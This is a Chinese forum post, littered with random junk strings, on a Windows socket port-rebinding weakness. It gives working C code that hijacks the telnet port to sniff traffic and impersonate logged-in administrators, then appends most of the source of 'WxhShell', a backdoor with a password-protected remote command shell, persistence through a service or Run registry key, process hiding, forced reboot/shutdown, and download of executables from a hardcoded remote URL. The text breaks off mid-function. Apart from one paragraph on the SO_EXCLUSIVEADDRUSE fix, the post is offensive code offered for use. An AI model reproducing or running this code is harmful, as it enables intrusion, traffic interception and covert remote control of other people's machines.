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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o6kNx>tc)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 96Wp!]*  
=;~I_)Pg1  
  saddr.sin_family = AF_INET; 1{"llD  
?z-}>$I;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^>4o$}  
OvL\u{(<F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zc& &[g  
>:sUL<p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tS# `.F~y  
5 +9 Ze9  
  这意味着什么?意味着可以进行如下的攻击: :bU(S<%M  
Ac k}QzXO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f5RE9%.#~  
u?+bW-D'd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  Wa/g`}  
3M*Bwt;F_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }w-wSkl1  
4_M>OD/"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /BKe+]dS*  
7J$b$P0}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {0\,0*^p  
Y o0FUj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .~lKBkS`!  
jLg@FDb~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -#`c5y}P  
"7%:sty  
  #include omZO+=8Q  
  #include -PB[-CX  
  #include [^H"FA[  
  #include    w&&2H8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '$|UwT`s  
  int main() 8Q`WB0E<|  
  { [jx0-3s:X  
  WORD wVersionRequested; }b3/b  
  DWORD ret; 1-SVCk -  
  WSADATA wsaData; \~rlgxd  
  BOOL val; "+"{+k5t  
  SOCKADDR_IN saddr; "GT4s?6O  
  SOCKADDR_IN scaddr; @!=\R^#p  
  int err; {kI#A?M  
  SOCKET s; f}%D"gz  
  SOCKET sc; JM$.O;y -  
  int caddsize; nHFrG =o,  
  HANDLE mt; "LhUxnll  
  DWORD tid;   .o{0+fC#  
  wVersionRequested = MAKEWORD( 2, 2 ); 1tzV8(7  
  err = WSAStartup( wVersionRequested, &wsaData ); u}hF8eD  
  if ( err != 0 ) { ,M !tm7  
  printf("error!WSAStartup failed!\n"); <M?:  
  return -1; |Q~cX!;  
  } 6bc3 37b  
  saddr.sin_family = AF_INET; 1a0kfM$  
   RH0>ZZR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c2l_$p  
_hf4A8ak  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Kz8:UG(  
  saddr.sin_port = htons(23); "kMzmo=Pv5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -php6$|  
  { Ths_CKwgWY  
  printf("error!socket failed!\n");  /RZR}  
  return -1; fr6^nDY  
  } _Yb _D/  
  val = TRUE; ~0"p*?^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iItcN;;7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q*jNH\|  
  { c{ZY,C&<  
  printf("error!setsockopt failed!\n"); BI[JATZG  
  return -1; ~i'Nqe_  
  } ;Z[]{SQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V5}nOGV9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V2Q$g^X'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [a[/_Sf{  
D:\g,\Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /h2b;"  
  { bte~c  
  ret=GetLastError(); <hnCUg1  
  printf("error!bind failed!\n"); 1&=0Wg0ig  
  return -1; ;.s l*q1A  
  } t,)N('m}=  
  listen(s,2); bZ _mYyBh  
  while(1) <<A`aU^fX  
  { Wx'Kp+9'  
  caddsize = sizeof(scaddr); +eX)48  
  //接受连接请求 S&C1TC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X8eJ4%  
  if(sc!=INVALID_SOCKET) 1x J TWWj-  
  { 3q[WHwmm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ivgpS5 M`Y  
  if(mt==NULL) ajl 2I/D  
  { ChryJRuwv5  
  printf("Thread Creat Failed!\n"); hlZ@Dq%f  
  break; UAF<m1  
  } $$Vt7"F  
  } _;A $C(  
  CloseHandle(mt); ~Aad9yyi  
  } _STB$cZ  
  closesocket(s); [ //R~i?  
  WSACleanup(); V+-$ jOh  
  return 0; < |O^>s;  
  }   PALl sGlf  
  DWORD WINAPI ClientThread(LPVOID lpParam) C.:=lo B  
  { NBh%:tu7M  
  SOCKET ss = (SOCKET)lpParam; u.pxz8  
  SOCKET sc; Sx gYjIa-  
  unsigned char buf[4096]; I7QCYB|  
  SOCKADDR_IN saddr; h<l1]h+x  
  long num; E{xVc;t  
  DWORD val; XALI<ZY  
  DWORD ret; *MN HT`Y^o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a>4uiFiv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (fD ;g9  
  saddr.sin_family = AF_INET; 'J*<iA*W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NW|f7 ItX  
  saddr.sin_port = htons(23); h.rD}N\L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $h9='0Wi0'  
  { `D( xv  
  printf("error!socket failed!\n"); rR ES8/  
  return -1; 4W4kwU6D  
  } q"KnLA(  
  val = 100; T@wcHg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :Br5a34q  
  { gsar[gZ  
  ret = GetLastError(); FFhtj(hVgc  
  return -1; 1 "TVRb  
  } m4k Bj*6c{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gV1[3dW  
  { ?71+ f{s  
  ret = GetLastError(); (%CZ*L[9Z  
  return -1; Ph&urxH@  
  } P27%xV-n>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T[k4lM  
  { C;AA/4Ib  
  printf("error!socket connect failed!\n"); _s,ao '/  
  closesocket(sc); wo2@hav  
  closesocket(ss); `i ,_aFB|  
  return -1; )|j[uh6w o  
  } v4Zb? Yb  
  while(1) }g +;y  
  { :qhpL-ER  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4:3rc7_ 1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z.L?1V8Q1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 foF19_2 ,  
  num = recv(ss,buf,4096,0); 4!62/df  
  if(num>0) Gz I~TWc+G  
  send(sc,buf,num,0); vq*Q.0M+  
  else if(num==0) VO3pm6r5  
  break; 5F+APz7  
  num = recv(sc,buf,4096,0); K`}{0@ilCw  
  if(num>0) %Kh4m7  
  send(ss,buf,num,0); 8rZ!ia!  
  else if(num==0) C F!Sa6  
  break; MmPU7Nl%X  
  } _3iHkQr  
  closesocket(ss); #H [Bb2(j  
  closesocket(sc); zo{/'BnU  
  return 0 ; EqiFy"H  
  } O-vGyNxP|  
sML=5=otx  
,ea^,H6  
========================================================== m .IU ;cR  
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下边附上一个代码,,WXhSHELL [,EpN{l  
'[|+aJ  
========================================================== zr v]  
x}/,yaWZ  
#include "stdafx.h" uhH^>z KA  
Th[f9H%  
#include <stdio.h> V~DMtB7  
#include <string.h> Xm2\0=v5;  
#include <windows.h> j!~l,::$"X  
#include <winsock2.h> Kyt)2p  
#include <winsvc.h> hD,:w%M  
#include <urlmon.h> in <(g@Zg  
$\o {_?}1  
#pragma comment (lib, "Ws2_32.lib") DDT_kK;  
#pragma comment (lib, "urlmon.lib") xp'_%n~K@  
}UJv[  
#define MAX_USER   100 // 最大客户端连接数 nZ1zJpBmI  
#define BUF_SOCK   200 // sock buffer %t=kdc0=_  
#define KEY_BUFF   255 // 输入 buffer . JX EK  
l5%G'1w#,j  
#define REBOOT     0   // 重启 $w)~O<_U  
#define SHUTDOWN   1   // 关机 TlL^7f}  
'AGto'Yy;  
#define DEF_PORT   5000 // 监听端口 1sE?YJP-  
,)+ o  
#define REG_LEN     16   // 注册表键长度 Jk|Q`h  
#define SVC_LEN     80   // NT服务名长度 A61^[Y,dX_  
M j-vgn&/  
// 从dll定义API ,H}_%}10  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vE6mOM!_L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~0$NJrUy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -\ZcOXpMx=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5*PYT=p}  
`0H g y=  
// wxhshell配置信息 c$ S{^IQ  
struct WSCFG { cEW0;\$  
  int ws_port;         // 监听端口 Ng><n}  
  char ws_passstr[REG_LEN]; // 口令 h2z_,`iS7  
  int ws_autoins;       // 安装标记, 1=yes 0=no <H3ezv1M  
  char ws_regname[REG_LEN]; // 注册表键名 q/3ziVd7p  
  char ws_svcname[REG_LEN]; // 服务名 T lAR.cV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H>Q%"|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &*G<a3 Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j.~!dh$mg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (Q[fS:U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 76tdJ!4Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \y6OUM2y  
/[:dp<  
}; #Lsnr.80  
O1%pxX'`S  
// default Wxhshell configuration !Bz0^ 1,L  
struct WSCFG wscfg={DEF_PORT, U<"WK"SM  
    "xuhuanlingzhe", gK#mPcn^  
    1, EcIE~qs  
    "Wxhshell", ELrsx{p:  
    "Wxhshell", K]/4qH$:  
            "WxhShell Service", )m6M9eC  
    "Wrsky Windows CmdShell Service", @uo ~nFj,  
    "Please Input Your Password: ", Yw5'6NU  
  1, -yxOBq  
  "http://www.wrsky.com/wxhshell.exe", ~pa!w?/bQ  
  "Wxhshell.exe" IJTtqo  
    }; Qjx?ri//  
d\e7,"L*Q  
// 消息定义模块 A[G0 .>Wk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u&G.4QQF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (>J4^``x=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $VAx:Y|  
char *msg_ws_ext="\n\rExit."; j R=s#Xz  
char *msg_ws_end="\n\rQuit."; >56>*BHD  
char *msg_ws_boot="\n\rReboot..."; x@mL $  
char *msg_ws_poff="\n\rShutdown..."; f)]%.>  
char *msg_ws_down="\n\rSave to "; AV 8n(  
_'4A|-9  
char *msg_ws_err="\n\rErr!"; NmK8<9`u  
char *msg_ws_ok="\n\rOK!"; "~UUx"Y  
`[o)<<}  
char ExeFile[MAX_PATH]; 4'W'}o|{  
int nUser = 0; Z, BC*  
HANDLE handles[MAX_USER]; Ehz o05/!  
int OsIsNt; Va Z!.#(P  
dd2[yKC`  
SERVICE_STATUS       serviceStatus; Y|8v O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \xg]oKbn  
Y`+=p@2O2o  
// 函数声明 ,mRyQS'F  
int Install(void); Bq/:Nd[y  
int Uninstall(void); 7+./zN  
int DownloadFile(char *sURL, SOCKET wsh); Vcd.mE(t%  
int Boot(int flag); $/Aj1j`"9+  
void HideProc(void); hF2IW{=!  
int GetOsVer(void); dEBcfya  
int Wxhshell(SOCKET wsl); 2VW}9O  
void TalkWithClient(void *cs); Kn+S,1r  
int CmdShell(SOCKET sock); **69rN  
int StartFromService(void); dr4Z5mw"E  
int StartWxhshell(LPSTR lpCmdLine); I ZQHu h  
l & Dxg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t|t#vcB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kd"N 29  
a^,(v  
// 数据结构和表定义 w[P4&?2:  
SERVICE_TABLE_ENTRY DispatchTable[] = f#ri'&}c :  
{ 0"~i ^   
{wscfg.ws_svcname, NTServiceMain}, "~TA SX_?  
{NULL, NULL} ? ` SUQm  
}; XMG]Wf^%\<  
\uss Uv  
// 自我安装 )M2F4[vcb  
int Install(void) ;Eu3[[V  
{ 54zlnM$  
  char svExeFile[MAX_PATH]; zB yqD$  
  HKEY key; UMX@7a,[3  
  strcpy(svExeFile,ExeFile); (a9d/3M  
\.M*lqI  
// 如果是win9x系统,修改注册表设为自启动 TLehdZ>^  
if(!OsIsNt) { @cU&n6C@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8enEA^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :[;hu}!&  
  RegCloseKey(key); [w ;kkMJAy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \h8 <cTQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -G6U$  
  RegCloseKey(key); Ty88}V  
  return 0; Z`YJBcXR  
    } }i!J/tJ)b  
  } Z|}G6]h  
} $XoQ]}"O  
else { o M Zq+>  
U`hY{E;  
// 如果是NT以上系统,安装为系统服务 F5S@I;   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4&l10fR5  
if (schSCManager!=0) !A48TgAeE  
{ ]qhPd_$?D'  
  SC_HANDLE schService = CreateService ~/j\Z  
  ( 7gRgOzWfV  
  schSCManager, #Fyuf,hw4  
  wscfg.ws_svcname, LdJYE;k Ju  
  wscfg.ws_svcdisp, ! VjFW5'{  
  SERVICE_ALL_ACCESS, S*yjee<@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BT}&Y6  
  SERVICE_AUTO_START, kQ]$%Lk[  
  SERVICE_ERROR_NORMAL, ,@5I:X!rR  
  svExeFile, v+9 9 -.  
  NULL, (5\N B0  
  NULL, tDUwy^j  
  NULL, O$4yAaD X  
  NULL, >LDhU%bH  
  NULL ?7{H|sI  
  ); eF2|Wjl``;  
  if (schService!=0) qW b+r  
  { =*Bl|;>6  
  CloseServiceHandle(schService); /*0K92NB  
  CloseServiceHandle(schSCManager); )=Jk@yj8x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y( y8+ZT  
  strcat(svExeFile,wscfg.ws_svcname); B#9{-t3Vf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @IXsy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ->N8#XH2=  
  RegCloseKey(key); zXRlo]  
  return 0; /hO1QT}xd  
    } orb_"Qw  
  } + nF'a(  
  CloseServiceHandle(schSCManager); G8Du~h!!U  
} 2WG>, 4W2  
} .YuJJJv  
"Wx]RN:  
return 1; ~g.$|^,.O/  
} kBN+4Dr/$  
}V\N16f  
// 自我卸载 Jec'`,Y  
int Uninstall(void) K #.  
{ zP<pEI  
  HKEY key; <I;2{*QI2  
ZRYEqSm  
if(!OsIsNt) { n'emN Ra  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0V?F'<qy  
  RegDeleteValue(key,wscfg.ws_regname); 8g7<KKw  
  RegCloseKey(key); -44&#l^}_u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j)q\9#sI/(  
  RegDeleteValue(key,wscfg.ws_regname); &4_qF^9J  
  RegCloseKey(key); NF? vg/{  
  return 0; CD8}I85 K  
  } mx=BD'  
} vhhC> 7  
} h yv2SxP*  
else { %;D.vKoh  
b".L_Ma1*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TiH) 5  
if (schSCManager!=0) n93=8;&  
{ IH"6? 9nd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fgh]KQ/5  
  if (schService!=0) QPq7R  
  { KZeQ47|  
  if(DeleteService(schService)!=0) { 0Zg%+)iy@  
  CloseServiceHandle(schService); '}9JCJ  
  CloseServiceHandle(schSCManager); Lco& Fp  
  return 0; {%C7EAq*  
  } \J6j38D5  
  CloseServiceHandle(schService); SV(]9^nW  
  } 'PP#^aI,  
  CloseServiceHandle(schSCManager); /Ju;MeE9  
} 2;?I>~  
} jQ)T67  
n..g~ $k  
return 1; e$pMsw'MJ  
} .(WQYOMl0  
v~Y^r2  
// 从指定url下载文件 GDuMY\1  
int DownloadFile(char *sURL, SOCKET wsh) \W`w` o  
{ fYW6b[lI  
  HRESULT hr; %D[0nt|X  
char seps[]= "/"; 5>TK^1 :  
char *token; \!ej<T+JR>  
char *file;  ^k\e8F/  
char myURL[MAX_PATH]; p l&Muv  
char myFILE[MAX_PATH]; ]EpWSs!"g  
x|5k<CiA  
strcpy(myURL,sURL); b4pm_Um  
  token=strtok(myURL,seps); &ZQJ>#~j^  
  while(token!=NULL) ~ _!F01s  
  { L/z),#  
    file=token; +U3m#Y)k  
  token=strtok(NULL,seps); .e3+s*  
  } S1?-I_t+]  
Kx%Sku<F'  
GetCurrentDirectory(MAX_PATH,myFILE); 2j&AiD  
strcat(myFILE, "\\"); cSm%s  
strcat(myFILE, file); B9J&=6`)  
  send(wsh,myFILE,strlen(myFILE),0); ;"m ,:5%  
send(wsh,"...",3,0); Xp}Yw"7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T'b_W,m~,u  
  if(hr==S_OK) =*LS%WI  
return 0; %x} O1yV  
else n9xAPB }  
return 1; tmtT (  
::/j$bL  
} 9U%N@Dq`Z  
Qg<(u?7N  
// 系统电源模块 .?hP7;hhI  
int Boot(int flag) 1&U>,;]*  
{ $-*!pRaVU  
  HANDLE hToken; {qa Aq%'  
  TOKEN_PRIVILEGES tkp; @#-q^}3  
<(-hx+^  
  if(OsIsNt) { /n8B,-Z5s5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '3 ^+{=q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yiA<,!;4P  
    tkp.PrivilegeCount = 1; _:"<[ >9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,xxR\}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9\DQ>V TQ  
if(flag==REBOOT) { `9b7>Nn<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `kJ^zw+  
  return 0; `{xNXH]@  
} +o51x'Ld*  
else { O7$hYk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~7Tc$ "I  
  return 0; =pC3~-;3  
} c?,i3s+2Y  
  } e[#j.|m  
  else { VH1d$  
if(flag==REBOOT) { =>! Y{: y(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '^"6+k  
  return 0; X.e7A/ClEo  
} 5>\/[I/!  
else { [ E ]E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c*@E_}C#  
  return 0;  1OF& *  
} ,5*eX  
} L~NbdaO  
8UVmv=T  
return 1; ;IokThI  
} sK5r$Dbr  
a)'5Nw9*  
// win9x进程隐藏模块 %&Q$dzgb_  
void HideProc(void) aWY gR  
{ !! ? Mw  
BFOq8}fX2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jE/AA!DC#  
  if ( hKernel != NULL ) }-sdov<<  
  { e;[F\ov %  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pw61_ZZ4B\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @>U-t{W  
    FreeLibrary(hKernel); KSN Pkd6  
  } N D2L_!g:(  
H?X|(r|+  
return; TBT:/Vfun  
} ={xE!"  
7 !JQB  
// 获取操作系统版本 WV_.Tiy<  
int GetOsVer(void) *N<&GH(j  
{ O|M{-)  
  OSVERSIONINFO winfo; BjzPz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .ODR]7{  
  GetVersionEx(&winfo); q*7VqB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5w@4:$=I  
  return 1; ] A+?EE2/  
  else )(384@'"u  
  return 0; A'&K/)Z  
} -u8NF_{c  
@("a.;1#o  
// 客户端句柄模块 p$3sME$L  
int Wxhshell(SOCKET wsl)  _ "VkGG  
{ e!=kWc  
  SOCKET wsh; 4Q6mo/=H  
  struct sockaddr_in client; d*%`!G  
  DWORD myID; 9uA>N  
]h %Wiw  
  while(nUser<MAX_USER) u2?|Ue@[  
{ 0p!>JQ]m  
  int nSize=sizeof(client); n4#;k=mA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); < RH UH)I  
  if(wsh==INVALID_SOCKET) return 1; 57&b:0`p  
S-|)QGxV6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,^. 88<  
if(handles[nUser]==0) k+ty>bP=  
  closesocket(wsh); D,k"PaLP  
else Y/ .Z .FD`  
  nUser++; Us0EG\Y  
  } Z Z:}AQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j4uvS!  
-- c"0,7  
  return 0; $NZ-{dY{  
} gh8F 2V;<  
c5D)   
// 关闭 socket "$N+"3I  
void CloseIt(SOCKET wsh) Gf<'WQ[  
{ &RnTzqv  
closesocket(wsh); ZWKg9%y7  
nUser--; ]X ?7ZI^  
ExitThread(0); GfmI<{da  
} ei[j1F  
/*X2c6<d  
// 客户端请求句柄 I ,z3xU  
void TalkWithClient(void *cs) `yH<E+   
{ j+uLV{~g6  
P<a)25be/  
  SOCKET wsh=(SOCKET)cs; jT]0WS-b  
  char pwd[SVC_LEN]; :6 Lx@  
  char cmd[KEY_BUFF]; Yd=>K HVD  
char chr[1]; sEGO2xeI  
int i,j; .@@?Pj?)  
K)DDk9*  
  while (nUser < MAX_USER) { j;-1J_e5  
?-dX`n  
if(wscfg.ws_passstr) { 6&!PmKFO.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pu*6"}#~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lY?QQ01D  
  //ZeroMemory(pwd,KEY_BUFF); Ne[7gxpu  
      i=0; < v@9#c  
  while(i<SVC_LEN) { F|e1"PkeoA  
EkjN{$*  
  // 设置超时 rp!oO>F  
  fd_set FdRead; 4hTMbS_;  
  struct timeval TimeOut; C,ARXW1  
  FD_ZERO(&FdRead); \1fN0e  
  FD_SET(wsh,&FdRead); JS CZ{v J$  
  TimeOut.tv_sec=8; rPLm5ni  
  TimeOut.tv_usec=0; rLI8pA|.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); opy("qH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yl7&5)b#9  
0c<.iM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]dGw2y  
  pwd=chr[0]; lTV'J?8!-a  
  if(chr[0]==0xd || chr[0]==0xa) { CkoL TY  
  pwd=0; 2Q/4bJpd  
  break; mUdOX7$c>  
  } 0"\H^  
  i++; [d1mL JAR  
    } &h^9}>rVjV  
4'a=pnE$  
  // 如果是非法用户,关闭 socket p8h9Ng* &`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;; C?{  
} d9;g]uj`  
l0PZ`m+;j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;h*K}U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Nb[G)Xh  
XkXHGDEf1  
while(1) { SEGri#s  
@,cowar*  
  ZeroMemory(cmd,KEY_BUFF); ,D]QxbwZ  
`lO[x.[  
      // 自动支持客户端 telnet标准   kT"Kyd  
  j=0; +'I+o5*  
  while(j<KEY_BUFF) { 3L_\`Ia9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GzI yP(U  
  cmd[j]=chr[0]; {MCi<7j<?  
  if(chr[0]==0xa || chr[0]==0xd) { s/q7.y7n{  
  cmd[j]=0; p~BRh  
  break; ,!Z *5  
  } DRp~jW(\y  
  j++; 1DE<rKI  
    } 2.l Z:VLN  
^Eb.:}!D6  
  // 下载文件 $o0 iLFIX/  
  if(strstr(cmd,"http://")) { bzuEfFaL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r^3acXl  
  if(DownloadFile(cmd,wsh)) V'8s8H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t\{'F7  
  else &]v4@%<J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vY${;#~|  
  } ] 2eK  
  else { p?) ;eJtV/  
beRVD>T  
    switch(cmd[0]) { r&R B9S@*h  
  )4gJd? 8R  
  // 帮助 6@{(;~r  
  case '?': { LcSX *MC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [y'f|XN  
    break; 723bkJw V  
  } 3=FZ9>by  
  // 安装 Li/O  
  case 'i': { rV R1wsaL  
    if(Install()) A: 5x|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .TND  a&  
    else )Ch2E|C?=8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4cabP}gBk  
    break; g`vny)\7/  
    } aT)BR?OYSJ  
  // 卸载 oX S1QT`B  
  case 'r': { gQxbi1!;9  
    if(Uninstall()) ur$ _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OWjk=u2Lz  
    else p?7v$ev_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5NS[dQG5  
    break; %r%Mlj:#  
    } KxYwJ  
  // 显示 wxhshell 所在路径 w+#C-&z  
  case 'p': { a(kg/s  
    char svExeFile[MAX_PATH]; @SJL\{_  
    strcpy(svExeFile,"\n\r"); tiB_a}5IB  
      strcat(svExeFile,ExeFile); 6r"eN%m  
        send(wsh,svExeFile,strlen(svExeFile),0); wkA+j9.  
    break; !}v=N";c  
    } p^%YBY#,H  
  // 重启  FT#8L  
  case 'b': { -Zf@VW,NI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;aI[=?<x  
    if(Boot(REBOOT)) 6*B19+-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  [F0s!,P  
    else { ~$:|VHl  
    closesocket(wsh); &x[E;P*Fg  
    ExitThread(0); ` k[-M2[  
    } Szq/hv=Q  
    break; < Z{HX[y  
